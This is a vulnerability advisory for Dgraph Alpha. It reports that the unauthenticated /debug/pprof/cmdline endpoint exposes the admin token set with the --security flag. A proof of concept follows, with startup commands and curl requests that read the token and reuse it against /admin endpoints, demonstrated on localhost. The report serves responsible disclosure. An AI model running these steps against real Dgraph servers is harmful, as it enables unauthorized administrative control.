Dgraph: Unauthenticated /debug/pprof/cmdline discloses admin auth token, enabling unauthorized access to protected Alpha admin endpoints

Important policy/triage clarification:

• This issue persists even when the admin-token security feature is enabled: the token itself is exposed via an unauthenticated core debug endpoint, making this more than a misconfiguration-only concern.
• Network restrictions (bind/whitelist/firewall) may reduce exposure, but they do not remediate the underlying credential disclosure behavior.

PoC

• Branch: main
• Commit: b15c87e93
• Describe: v25.3.1

Preconditions:

• Alpha HTTP port is reachable by attacker traffic.
• Admin token is configured via supported startup flag: --security "token=...".
• /debug/pprof/* is exposed on the same Alpha HTTP listener.
• This behavior occurs with documented startup flags and without any non-default or unsupported configuration.

Reproduction steps:

1. Start Zero and Alpha (example local setup):

   • dgraph zero --my=127.0.0.1:5280 --port_offset=200 --bindall=false --wal=./zw
   • dgraph alpha --my=127.0.0.1:7280 --zero=127.0.0.1:5280 --port_offset=200 --bindall=false --security "token=TopSecretToken123;" --postings=./p --wal=./w --tmp=./t

2. Verify admin endpoint rejects unauthenticated request:

   • curl -i http://127.0.0.1:8280/admin/config/cache_mb
   • Expected body includes Invalid X-Dgraph-AuthToken.

3. Read token from unauthenticated debug endpoint:

   • curl -s http://127.0.0.1:8280/debug/pprof/cmdline
   • Expected output includes --security=token=TopSecretToken123;.

4. Reuse leaked token against admin endpoint:

   • curl -i -H "X-Dgraph-AuthToken: TopSecretToken123" http://127.0.0.1:8280/admin/config/cache_mb
   • Expected: successful response (example observed: 4096).

Note: The PoC uses 127.0.0.1 only for safe local validation. The vulnerable condition is unauthenticated reachability of /debug/pprof/cmdline; in any deployment where Alpha HTTP is reachable by untrusted parties, the same token disclosure and subsequent unauthorized admin access apply.

Impact

• Unauthenticated disclosure of a sensitive admin credential via debug endpoint, enabling unauthorized privileged administrative access through token reuse
• Operators running Dgraph Alpha with admin token configured, where Alpha HTTP/debug routes are reachable by untrusted users or networks.

The attack requires network reachability to the Alpha HTTP port. In deployments where this interface is exposed beyond trusted boundaries, the issue is remotely exploitable without authentication.

Depending on exposed admin functionality in deployment policy, this may allow configuration changes, operational control actions, and other privileged administrative operations exposed through /admin/*.